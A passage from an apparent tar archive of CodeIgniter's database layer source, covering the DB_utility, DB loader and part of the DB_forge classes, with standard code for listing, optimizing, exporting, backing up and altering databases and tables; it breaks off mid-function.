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DB_utility.php 0000644 00000025137 14642767122 0007350 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * Database Utility Class * * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ abstract class CI_DB_utility { /** * Database object * * @var object */ protected $db; // -------------------------------------------------------------------- /** * List databases statement * * @var string */ protected $_list_databases = FALSE; /** * OPTIMIZE TABLE statement * * @var string */ protected $_optimize_table = FALSE; /** * REPAIR TABLE statement * * @var string */ protected $_repair_table = FALSE; // -------------------------------------------------------------------- /** * Class constructor * * @param object &$db Database object * @return void */ public function __construct(&$db) { $this->db =& $db; log_message('info', 'Database Utility Class Initialized'); } // -------------------------------------------------------------------- /** * List databases * * @return array */ public function list_databases() { // Is there a cached result? if (isset($this->db->data_cache['db_names'])) { return $this->db->data_cache['db_names']; } elseif ($this->_list_databases === FALSE) { return ($this->db->db_debug) ? $this->db->display_error('db_unsupported_feature') : FALSE; } $this->db->data_cache['db_names'] = array(); $query = $this->db->query($this->_list_databases); if ($query === FALSE) { return $this->db->data_cache['db_names']; } for ($i = 0, $query = $query->result_array(), $c = count($query); $i < $c; $i++) { $this->db->data_cache['db_names'][] = current($query[$i]); } return $this->db->data_cache['db_names']; } // -------------------------------------------------------------------- /** * Determine if a particular database exists * * @param string $database_name * @return bool */ public function database_exists($database_name) { return in_array($database_name, $this->list_databases()); } // -------------------------------------------------------------------- /** * Optimize Table * * @param string $table_name * @return mixed */ public function optimize_table($table_name) { if ($this->_optimize_table === FALSE) { return ($this->db->db_debug) ? $this->db->display_error('db_unsupported_feature') : FALSE; } $query = $this->db->query(sprintf($this->_optimize_table, $this->db->escape_identifiers($table_name))); if ($query !== FALSE) { $query = $query->result_array(); return current($query); } return FALSE; } // -------------------------------------------------------------------- /** * Optimize Database * * @return mixed */ public function optimize_database() { if ($this->_optimize_table === FALSE) { return ($this->db->db_debug) ? $this->db->display_error('db_unsupported_feature') : FALSE; } $result = array(); foreach ($this->db->list_tables() as $table_name) { $res = $this->db->query(sprintf($this->_optimize_table, $this->db->escape_identifiers($table_name))); if (is_bool($res)) { return $res; } // Build the result array... $res = $res->result_array(); $res = current($res); $key = str_replace($this->db->database.'.', '', current($res)); $keys = array_keys($res); unset($res[$keys[0]]); $result[$key] = $res; } return $result; } // -------------------------------------------------------------------- /** * Repair Table * * @param string $table_name * @return mixed */ public function repair_table($table_name) { if ($this->_repair_table === FALSE) { return ($this->db->db_debug) ? $this->db->display_error('db_unsupported_feature') : FALSE; } $query = $this->db->query(sprintf($this->_repair_table, $this->db->escape_identifiers($table_name))); if (is_bool($query)) { return $query; } $query = $query->result_array(); return current($query); } // -------------------------------------------------------------------- /** * Generate CSV from a query result object * * @param object $query Query result object * @param string $delim Delimiter (default: ,) * @param string $newline Newline character (default: \n) * @param string $enclosure Enclosure (default: ") * @return string */ public function csv_from_result($query, $delim = ',', $newline = "\n", $enclosure = '"') { if ( ! is_object($query) OR ! method_exists($query, 'list_fields')) { show_error('You must submit a valid result object'); } $out = ''; // First generate the headings from the table column names foreach ($query->list_fields() as $name) { $out .= $enclosure.str_replace($enclosure, $enclosure.$enclosure, $name).$enclosure.$delim; } $out = substr($out, 0, -strlen($delim)).$newline; // Next blast through the result array and build out the rows while ($row = $query->unbuffered_row('array')) { $line = array(); foreach ($row as $item) { $line[] = $enclosure.str_replace($enclosure, $enclosure.$enclosure, $item).$enclosure; } $out .= implode($delim, $line).$newline; } return $out; } // -------------------------------------------------------------------- /** * Generate XML data from a query result object * * @param object $query Query result object * @param array $params Any preferences * @return string */ public function xml_from_result($query, $params = array()) { if ( ! is_object($query) OR ! method_exists($query, 'list_fields')) { show_error('You must submit a valid result object'); } // Set our default values foreach (array('root' => 'root', 'element' => 'element', 'newline' => "\n", 'tab' => "\t") as $key => $val) { if ( ! isset($params[$key])) { $params[$key] = $val; } } // Create variables for convenience extract($params); // Load the xml helper get_instance()->load->helper('xml'); // Generate the result $xml = '<'.$root.'>'.$newline; while ($row = $query->unbuffered_row()) { $xml .= $tab.'<'.$element.'>'.$newline; foreach ($row as $key => $val) { $xml .= $tab.$tab.'<'.$key.'>'.xml_convert($val).'</'.$key.'>'.$newline; } $xml .= $tab.'</'.$element.'>'.$newline; } return $xml.'</'.$root.'>'.$newline; } // -------------------------------------------------------------------- /** * Database Backup * * @param array $params * @return string */ public function backup($params = array()) { // If the parameters have not been submitted as an // array then we know that it is simply the table // name, which is a valid short cut. if (is_string($params)) { $params = array('tables' => $params); } // Set up our default preferences $prefs = array( 'tables' => array(), 'ignore' => array(), 'filename' => '', 'format' => 'gzip', // gzip, zip, txt 'add_drop' => TRUE, 'add_insert' => TRUE, 'newline' => "\n", 'foreign_key_checks' => TRUE ); // Did the user submit any preferences? If so set them.... if (count($params) > 0) { foreach ($prefs as $key => $val) { if (isset($params[$key])) { $prefs[$key] = $params[$key]; } } } // Are we backing up a complete database or individual tables? // If no table names were submitted we'll fetch the entire table list if (count($prefs['tables']) === 0) { $prefs['tables'] = $this->db->list_tables(); } // Validate the format if ( ! in_array($prefs['format'], array('gzip', 'zip', 'txt'), TRUE)) { $prefs['format'] = 'txt'; } // Is the encoder supported? If not, we'll either issue an // error or use plain text depending on the debug settings if (($prefs['format'] === 'gzip' && ! function_exists('gzencode')) OR ($prefs['format'] === 'zip' && ! function_exists('gzcompress'))) { if ($this->db->db_debug) { return $this->db->display_error('db_unsupported_compression'); } $prefs['format'] = 'txt'; } // Was a Zip file requested? if ($prefs['format'] === 'zip') { // Set the filename if not provided (only needed with Zip files) if ($prefs['filename'] === '') { $prefs['filename'] = (count($prefs['tables']) === 1 ? $prefs['tables'] : $this->db->database) .date('Y-m-d_H-i', time()).'.sql'; } else { // If they included the .zip file extension we'll remove it if (preg_match('|.+?\.zip$|', $prefs['filename'])) { $prefs['filename'] = str_replace('.zip', '', $prefs['filename']); } // Tack on the ".sql" file extension if needed if ( ! preg_match('|.+?\.sql$|', $prefs['filename'])) { $prefs['filename'] .= '.sql'; } } // Load the Zip class and output it $CI =& get_instance(); $CI->load->library('zip'); $CI->zip->add_data($prefs['filename'], $this->_backup($prefs)); return $CI->zip->get_zip(); } elseif ($prefs['format'] === 'txt') // Was a text file requested? { return $this->_backup($prefs); } elseif ($prefs['format'] === 'gzip') // Was a Gzip file requested? { return gzencode($this->_backup($prefs)); } return; } } DB.php 0000644 00000015021 14642767124 0005556 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * Initialize the database * * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ * * @param string|string[] $params * @param bool $query_builder_override * Determines if query builder should be used or not */ function &DB($params = '', $query_builder_override = NULL) { // Load the DB config file if a DSN string wasn't passed if (is_string($params) && strpos($params, '://') === FALSE) { // Is the config file in the environment folder? if ( ! file_exists($file_path = APPPATH.'config/'.ENVIRONMENT.'/database.php') && ! file_exists($file_path = APPPATH.'config/database.php')) { show_error('The configuration file database.php does not exist.'); } include($file_path); // Make packages contain database config files, // given that the controller instance already exists if (class_exists('CI_Controller', FALSE)) { foreach (get_instance()->load->get_package_paths() as $path) { if ($path !== APPPATH) { if (file_exists($file_path = $path.'config/'.ENVIRONMENT.'/database.php')) { include($file_path); } elseif (file_exists($file_path = $path.'config/database.php')) { include($file_path); } } } } if ( ! isset($db) OR count($db) === 0) { show_error('No database connection settings were found in the database config file.'); } if ($params !== '') { $active_group = $params; } if ( ! isset($active_group)) { show_error('You have not specified a database connection group via $active_group in your config/database.php file.'); } elseif ( ! isset($db[$active_group])) { show_error('You have specified an invalid database connection group ('.$active_group.') in your config/database.php file.'); } $params = $db[$active_group]; } elseif (is_string($params)) { /** * Parse the URL from the DSN string * Database settings can be passed as discreet * parameters or as a data source name in the first * parameter. DSNs must have this prototype: * $dsn = 'driver://username:password@hostname/database'; */ if (($dsn = @parse_url($params)) === FALSE) { show_error('Invalid DB Connection String'); } $params = array( 'dbdriver' => $dsn['scheme'], 'hostname' => isset($dsn['host']) ? rawurldecode($dsn['host']) : '', 'port' => isset($dsn['port']) ? rawurldecode($dsn['port']) : '', 'username' => isset($dsn['user']) ? rawurldecode($dsn['user']) : '', 'password' => isset($dsn['pass']) ? rawurldecode($dsn['pass']) : '', 'database' => isset($dsn['path']) ? rawurldecode(substr($dsn['path'], 1)) : '' ); // Were additional config items set? if (isset($dsn['query'])) { parse_str($dsn['query'], $extra); foreach ($extra as $key => $val) { if (is_string($val) && in_array(strtoupper($val), array('TRUE', 'FALSE', 'NULL'))) { $val = var_export($val, TRUE); } $params[$key] = $val; } } } // No DB specified yet? Beat them senseless... if (empty($params['dbdriver'])) { show_error('You have not selected a database type to connect to.'); } // Load the DB classes. Note: Since the query builder class is optional // we need to dynamically create a class that extends proper parent class // based on whether we're using the query builder class or not. if ($query_builder_override !== NULL) { $query_builder = $query_builder_override; } // Backwards compatibility work-around for keeping the // $active_record config variable working. Should be // removed in v3.1 elseif ( ! isset($query_builder) && isset($active_record)) { $query_builder = $active_record; } require_once(BASEPATH.'database/DB_driver.php'); if ( ! isset($query_builder) OR $query_builder === TRUE) { require_once(BASEPATH.'database/DB_query_builder.php'); if ( ! class_exists('CI_DB', FALSE)) { /** * CI_DB * * Acts as an alias for both CI_DB_driver and CI_DB_query_builder. * * @see CI_DB_query_builder * @see CI_DB_driver */ class CI_DB extends CI_DB_query_builder { } } } elseif ( ! class_exists('CI_DB', FALSE)) { /** * @ignore */ class CI_DB extends CI_DB_driver { } } // Load the DB driver $driver_file = BASEPATH.'database/drivers/'.$params['dbdriver'].'/'.$params['dbdriver'].'_driver.php'; file_exists($driver_file) OR show_error('Invalid DB driver'); require_once($driver_file); // Instantiate the DB adapter $driver = 'CI_DB_'.$params['dbdriver'].'_driver'; $DB = new $driver($params); // Check for a subdriver if ( ! empty($DB->subdriver)) { $driver_file = BASEPATH.'database/drivers/'.$DB->dbdriver.'/subdrivers/'.$DB->dbdriver.'_'.$DB->subdriver.'_driver.php'; if (file_exists($driver_file)) { require_once($driver_file); $driver = 'CI_DB_'.$DB->dbdriver.'_'.$DB->subdriver.'_driver'; $DB = new $driver($params); } } $DB->initialize(); return $DB; } DB_forge.php 0000644 00000057122 14642767125 0006751 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * Database Forge Class * * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ abstract class CI_DB_forge { /** * Database object * * @var object */ protected $db; /** * Fields data * * @var array */ public $fields = array(); /** * Keys data * * @var array */ public $keys = array(); /** * Primary Keys data * * @var array */ public $primary_keys = array(); /** * Database character set * * @var string */ public $db_char_set = ''; // -------------------------------------------------------------------- /** * CREATE DATABASE statement * * @var string */ protected $_create_database = 'CREATE DATABASE %s'; /** * DROP DATABASE statement * * @var string */ protected $_drop_database = 'DROP DATABASE %s'; /** * CREATE TABLE statement * * @var string */ protected $_create_table = "%s %s (%s\n)"; /** * CREATE TABLE IF statement * * @var string */ protected $_create_table_if = 'CREATE TABLE IF NOT EXISTS'; /** * CREATE TABLE keys flag * * Whether table keys are created from within the * CREATE TABLE statement. * * @var bool */ protected $_create_table_keys = FALSE; /** * DROP TABLE IF EXISTS statement * * @var string */ protected $_drop_table_if = 'DROP TABLE IF EXISTS'; /** * RENAME TABLE statement * * @var string */ protected $_rename_table = 'ALTER TABLE %s RENAME TO %s;'; /** * UNSIGNED support * * @var bool|array */ protected $_unsigned = TRUE; /** * NULL value representation in CREATE/ALTER TABLE statements * * @var string */ protected $_null = ''; /** * DEFAULT value representation in CREATE/ALTER TABLE statements * * @var string */ protected $_default = ' DEFAULT '; // -------------------------------------------------------------------- /** * Class constructor * * @param object &$db Database object * @return void */ public function __construct(&$db) { $this->db =& $db; log_message('info', 'Database Forge Class Initialized'); } // -------------------------------------------------------------------- /** * Create database * * @param string $db_name * @return bool */ public function create_database($db_name) { if ($this->_create_database === FALSE) { return ($this->db->db_debug) ? $this->db->display_error('db_unsupported_feature') : FALSE; } elseif ( ! $this->db->query(sprintf($this->_create_database, $this->db->escape_identifiers($db_name), $this->db->char_set, $this->db->dbcollat))) { return ($this->db->db_debug) ? $this->db->display_error('db_unable_to_drop') : FALSE; } if ( ! empty($this->db->data_cache['db_names'])) { $this->db->data_cache['db_names'][] = $db_name; } return TRUE; } // -------------------------------------------------------------------- /** * Drop database * * @param string $db_name * @return bool */ public function drop_database($db_name) { if ($this->_drop_database === FALSE) { return ($this->db->db_debug) ? $this->db->display_error('db_unsupported_feature') : FALSE; } elseif ( ! $this->db->query(sprintf($this->_drop_database, $this->db->escape_identifiers($db_name)))) { return ($this->db->db_debug) ? $this->db->display_error('db_unable_to_drop') : FALSE; } if ( ! empty($this->db->data_cache['db_names'])) { $key = array_search(strtolower($db_name), array_map('strtolower', $this->db->data_cache['db_names']), TRUE); if ($key !== FALSE) { unset($this->db->data_cache['db_names'][$key]); } } return TRUE; } // -------------------------------------------------------------------- /** * Add Key * * @param string $key * @param bool $primary * @return CI_DB_forge */ public function add_key($key, $primary = FALSE) { // DO NOT change this! This condition is only applicable // for PRIMARY keys because you can only have one such, // and therefore all fields you add to it will be included // in the same, composite PRIMARY KEY. // // It's not the same for regular indexes. if ($primary === TRUE && is_array($key)) { foreach ($key as $one) { $this->add_key($one, $primary); } return $this; } if ($primary === TRUE) { $this->primary_keys[] = $key; } else { $this->keys[] = $key; } return $this; } // -------------------------------------------------------------------- /** * Add Field * * @param array $field * @return CI_DB_forge */ public function add_field($field) { if (is_string($field)) { if ($field === 'id') { $this->add_field(array( 'id' => array( 'type' => 'INT', 'constraint' => 9, 'auto_increment' => TRUE ) )); $this->add_key('id', TRUE); } else { if (strpos($field, ' ') === FALSE) { show_error('Field information is required for that operation.'); } $this->fields[] = $field; } } if (is_array($field)) { $this->fields = array_merge($this->fields, $field); } return $this; } // -------------------------------------------------------------------- /** * Create Table * * @param string $table Table name * @param bool $if_not_exists Whether to add IF NOT EXISTS condition * @param array $attributes Associative array of table attributes * @return bool */ public function create_table($table, $if_not_exists = FALSE, array $attributes = array()) { if ($table === '') { show_error('A table name is required for that operation.'); } else { $table = $this->db->dbprefix.$table; } if (count($this->fields) === 0) { show_error('Field information is required.'); } $sql = $this->_create_table($table, $if_not_exists, $attributes); if (is_bool($sql)) { $this->_reset(); if ($sql === FALSE) { return ($this->db->db_debug) ? $this->db->display_error('db_unsupported_feature') : FALSE; } } if (($result = $this->db->query($sql)) !== FALSE) { if (isset($this->db->data_cache['table_names'])) { $this->db->data_cache['table_names'][] = $table; } // Most databases don't support creating indexes from within the CREATE TABLE statement if ( ! empty($this->keys)) { for ($i = 0, $sqls = $this->_process_indexes($table), $c = count($sqls); $i < $c; $i++) { $this->db->query($sqls[$i]); } } } $this->_reset(); return $result; } // -------------------------------------------------------------------- /** * Create Table * * @param string $table Table name * @param bool $if_not_exists Whether to add 'IF NOT EXISTS' condition * @param array $attributes Associative array of table attributes * @return mixed */ protected function _create_table($table, $if_not_exists, $attributes) { if ($if_not_exists === TRUE && $this->_create_table_if === FALSE) { if ($this->db->table_exists($table)) { return TRUE; } $if_not_exists = FALSE; } $sql = ($if_not_exists) ? sprintf($this->_create_table_if, $this->db->escape_identifiers($table)) : 'CREATE TABLE'; $columns = $this->_process_fields(TRUE); for ($i = 0, $c = count($columns); $i < $c; $i++) { $columns[$i] = ($columns[$i]['_literal'] !== FALSE) ? "\n\t".$columns[$i]['_literal'] : "\n\t".$this->_process_column($columns[$i]); } $columns = implode(',', $columns) .$this->_process_primary_keys($table); // Are indexes created from within the CREATE TABLE statement? (e.g. in MySQL) if ($this->_create_table_keys === TRUE) { $columns .= $this->_process_indexes($table); } // _create_table will usually have the following format: "%s %s (%s\n)" $sql = sprintf($this->_create_table.'%s', $sql, $this->db->escape_identifiers($table), $columns, $this->_create_table_attr($attributes) ); return $sql; } // -------------------------------------------------------------------- /** * CREATE TABLE attributes * * @param array $attributes Associative array of table attributes * @return string */ protected function _create_table_attr($attributes) { $sql = ''; foreach (array_keys($attributes) as $key) { if (is_string($key)) { $sql .= ' '.strtoupper($key).' '.$attributes[$key]; } } return $sql; } // -------------------------------------------------------------------- /** * Drop Table * * @param string $table_name Table name * @param bool $if_exists Whether to add an IF EXISTS condition * @return bool */ public function drop_table($table_name, $if_exists = FALSE) { if ($table_name === '') { return ($this->db->db_debug) ? $this->db->display_error('db_table_name_required') : FALSE; } if (($query = $this->_drop_table($this->db->dbprefix.$table_name, $if_exists)) === TRUE) { return TRUE; } $query = $this->db->query($query); // Update table list cache if ($query && ! empty($this->db->data_cache['table_names'])) { $key = array_search(strtolower($this->db->dbprefix.$table_name), array_map('strtolower', $this->db->data_cache['table_names']), TRUE); if ($key !== FALSE) { unset($this->db->data_cache['table_names'][$key]); } } return $query; } // -------------------------------------------------------------------- /** * Drop Table * * Generates a platform-specific DROP TABLE string * * @param string $table Table name * @param bool $if_exists Whether to add an IF EXISTS condition * @return mixed (Returns a platform-specific DROP table string, or TRUE to indicate there's nothing to do) */ protected function _drop_table($table, $if_exists) { $sql = 'DROP TABLE'; if ($if_exists) { if ($this->_drop_table_if === FALSE) { if ( ! $this->db->table_exists($table)) { return TRUE; } } else { $sql = sprintf($this->_drop_table_if, $this->db->escape_identifiers($table)); } } return $sql.' '.$this->db->escape_identifiers($table); } // -------------------------------------------------------------------- /** * Rename Table * * @param string $table_name Old table name * @param string $new_table_name New table name * @return bool */ public function rename_table($table_name, $new_table_name) { if ($table_name === '' OR $new_table_name === '') { show_error('A table name is required for that operation.'); return FALSE; } elseif ($this->_rename_table === FALSE) { return ($this->db->db_debug) ? $this->db->display_error('db_unsupported_feature') : FALSE; } $result = $this->db->query(sprintf($this->_rename_table, $this->db->escape_identifiers($this->db->dbprefix.$table_name), $this->db->escape_identifiers($this->db->dbprefix.$new_table_name)) ); if ($result && ! empty($this->db->data_cache['table_names'])) { $key = array_search(strtolower($this->db->dbprefix.$table_name), array_map('strtolower', $this->db->data_cache['table_names']), TRUE); if ($key !== FALSE) { $this->db->data_cache['table_names'][$key] = $this->db->dbprefix.$new_table_name; } } return $result; } // -------------------------------------------------------------------- /** * Column Add * * @todo Remove deprecated $_after option in 3.1+ * @param string $table Table name * @param array $field Column definition * @param string $_after Column for AFTER clause (deprecated) * @return bool */ public function add_column($table, $field, $_after = NULL) { // Work-around for literal column definitions is_array($field) OR $field = array($field); foreach (array_keys($field) as $k) { // Backwards-compatibility work-around for MySQL/CUBRID AFTER clause (remove in 3.1+) if ($_after !== NULL && is_array($field[$k]) && ! isset($field[$k]['after'])) { $field[$k]['after'] = $_after; } $this->add_field(array($k => $field[$k])); } $sqls = $this->_alter_table('ADD', $this->db->dbprefix.$table, $this->_process_fields()); $this->_reset(); if ($sqls === FALSE) { return ($this->db->db_debug) ? $this->db->display_error('db_unsupported_feature') : FALSE; } for ($i = 0, $c = count($sqls); $i < $c; $i++) { if ($this->db->query($sqls[$i]) === FALSE) { return FALSE; } } return TRUE; } // -------------------------------------------------------------------- /** * Column Drop * * @param string $table Table name * @param string $column_name Column name * @return bool */ public function drop_column($table, $column_name) { $sql = $this->_alter_table('DROP', $this->db->dbprefix.$table, $column_name); if ($sql === FALSE) { return ($this->db->db_debug) ? $this->db->display_error('db_unsupported_feature') : FALSE; } return $this->db->query($sql); } // -------------------------------------------------------------------- /** * Column Modify * * @param string $table Table name * @param string $field Column definition * @return bool */ public function modify_column($table, $field) { // Work-around for literal column definitions is_array($field) OR $field = array($field); foreach (array_keys($field) as $k) { $this->add_field(array($k => $field[$k])); } if (count($this->fields) === 0) { show_error('Field information is required.'); } $sqls = $this->_alter_table('CHANGE', $this->db->dbprefix.$table, $this->_process_fields()); $this->_reset(); if ($sqls === FALSE) { return ($this->db->db_debug) ? $this->db->display_error('db_unsupported_feature') : FALSE; } for ($i = 0, $c = count($sqls); $i < $c; $i++) { if ($this->db->query($sqls[$i]) === FALSE) { return FALSE; } } return TRUE; } // -------------------------------------------------------------------- /** * ALTER TABLE * * @param string $alter_type ALTER type * @param string $table Table name * @param mixed $field Column definition * @return string|string[] */ protected function _alter_table($alter_type, $table, $field) { $sql = 'ALTER TABLE '.$this->db->escape_identifiers($table).' '; // DROP has everything it needs now. if ($alter_type === 'DROP') { return $sql.'DROP COLUMN '.$this->db->escape_identifiers($field); } $sql .= ($alter_type === 'ADD') ? 'ADD ' : $alter_type.' COLUMN '; $sqls = array(); for ($i = 0, $c = count($field); $i < $c; $i++) { $sqls[] = $sql .($field[$i]['_literal'] !== FALSE ? $field[$i]['_literal'] : $this->_process_column($field[$i])); } return $sqls; } // -------------------------------------------------------------------- /** * Process fields * * @param bool $create_table * @return array */ protected function _process_fields($create_table = FALSE) { $fields = array(); foreach ($this->fields as $key => $attributes) { if (is_int($key) && ! is_array($attributes)) { $fields[] = array('_literal' => $attributes); continue; } $attributes = array_change_key_case($attributes, CASE_UPPER); if ($create_table === TRUE && empty($attributes['TYPE'])) { continue; } isset($attributes['TYPE']) && $this->_attr_type($attributes); $field = array( 'name' => $key, 'new_name' => isset($attributes['NAME']) ? $attributes['NAME'] : NULL, 'type' => isset($attributes['TYPE']) ? $attributes['TYPE'] : NULL, 'length' => '', 'unsigned' => '', 'null' => NULL, 'unique' => '', 'default' => '', 'auto_increment' => '', '_literal' => FALSE ); isset($attributes['TYPE']) && $this->_attr_unsigned($attributes, $field); if ($create_table === FALSE) { if (isset($attributes['AFTER'])) { $field['after'] = $attributes['AFTER']; } elseif (isset($attributes['FIRST'])) { $field['first'] = (bool) $attributes['FIRST']; } } $this->_attr_default($attributes, $field); if (isset($attributes['NULL'])) { if ($attributes['NULL'] === TRUE) { $field['null'] = empty($this->_null) ? '' : ' '.$this->_null; } else { $field['null'] = ' NOT NULL'; } } elseif ($create_table === TRUE) { $field['null'] = ' NOT NULL'; } $this->_attr_auto_increment($attributes, $field); $this->_attr_unique($attributes, $field); if (isset($attributes['COMMENT'])) { $field['comment'] = $this->db->escape($attributes['COMMENT']); } if (isset($attributes['TYPE']) && ! empty($attributes['CONSTRAINT'])) { switch (strtoupper($attributes['TYPE'])) { case 'ENUM': case 'SET': $attributes['CONSTRAINT'] = $this->db->escape($attributes['CONSTRAINT']); default: $field['length'] = is_array($attributes['CONSTRAINT']) ? '('.implode(',', $attributes['CONSTRAINT']).')' : '('.$attributes['CONSTRAINT'].')'; break; } } $fields[] = $field; } return $fields; } // -------------------------------------------------------------------- /** * Process column * * @param array $field * @return string */ protected function _process_column($field) { return $this->db->escape_identifiers($field['name']) .' '.$field['type'].$field['length'] .$field['unsigned'] .$field['default'] .$field['null'] .$field['auto_increment'] .$field['unique']; } // -------------------------------------------------------------------- /** * Field attribute TYPE * * Performs a data type mapping between different databases. * * @param array &$attributes * @return void */ protected function _attr_type(&$attributes) { // Usually overridden by drivers } // -------------------------------------------------------------------- /** * Field attribute UNSIGNED * * Depending on the _unsigned property value: * * - TRUE will always set $field['unsigned'] to 'UNSIGNED' * - FALSE will always set $field['unsigned'] to '' * - array(TYPE) will set $field['unsigned'] to 'UNSIGNED', * if $attributes['TYPE'] is found in the array * - array(TYPE => UTYPE) will change $field['type'], * from TYPE to UTYPE in case of a match * * @param array &$attributes * @param array &$field * @return void */ protected function _attr_unsigned(&$attributes, &$field) { if (empty($attributes['UNSIGNED']) OR $attributes['UNSIGNED'] !== TRUE) { return; } // Reset the attribute in order to avoid issues if we do type conversion $attributes['UNSIGNED'] = FALSE; if (is_array($this->_unsigned)) { foreach (array_keys($this->_unsigned) as $key) { if (is_int($key) && strcasecmp($attributes['TYPE'], $this->_unsigned[$key]) === 0) { $field['unsigned'] = ' UNSIGNED'; return; } elseif (is_string($key) && strcasecmp($attributes['TYPE'], $key) === 0) { $field['type'] = $key; return; } } return; } $field['unsigned'] = ($this->_unsigned === TRUE) ? ' UNSIGNED' : ''; } // -------------------------------------------------------------------- /** * Field attribute DEFAULT * * @param array &$attributes * @param array &$field * @return void */ protected function _attr_default(&$attributes, &$field) { if ($this->_default === FALSE) { return; } if (array_key_exists('DEFAULT', $attributes)) { if ($attributes['DEFAULT'] === NULL) { $field['default'] = empty($this->_null) ? '' : $this->_default.$this->_null; // Override the NULL attribute if that's our default $attributes['NULL'] = TRUE; $field['null'] = empty($this->_null) ? '' : ' '.$this->_null; } else { $field['default'] = $this->_default.$this->db->escape($attributes['DEFAULT']); } } } // -------------------------------------------------------------------- /** * Field attribute UNIQUE * * @param array &$attributes * @param array &$field * @return void */ protected function _attr_unique(&$attributes, &$field) { if ( ! empty($attributes['UNIQUE']) && $attributes['UNIQUE'] === TRUE) { $field['unique'] = ' UNIQUE'; } } // -------------------------------------------------------------------- /** * Field attribute AUTO_INCREMENT * * @param array &$attributes * @param array &$field * @return void */ protected function _attr_auto_increment(&$attributes, &$field) { if ( ! empty($attributes['AUTO_INCREMENT']) && $attributes['AUTO_INCREMENT'] === TRUE && stripos($field['type'], 'int') !== FALSE) { $field['auto_increment'] = ' AUTO_INCREMENT'; } } // -------------------------------------------------------------------- /** * Process primary keys * * @param string $table Table name * @return string */ protected function _process_primary_keys($table) { $sql = ''; for ($i = 0, $c = count($this->primary_keys); $i < $c; $i++) { if ( ! isset($this->fields[$this->primary_keys[$i]])) { unset($this->primary_keys[$i]); } } if (count($this->primary_keys) > 0) { $sql .= ",\n\tCONSTRAINT ".$this->db->escape_identifiers('pk_'.$table) .' PRIMARY KEY('.implode(', ', $this->db->escape_identifiers($this->primary_keys)).')'; } return 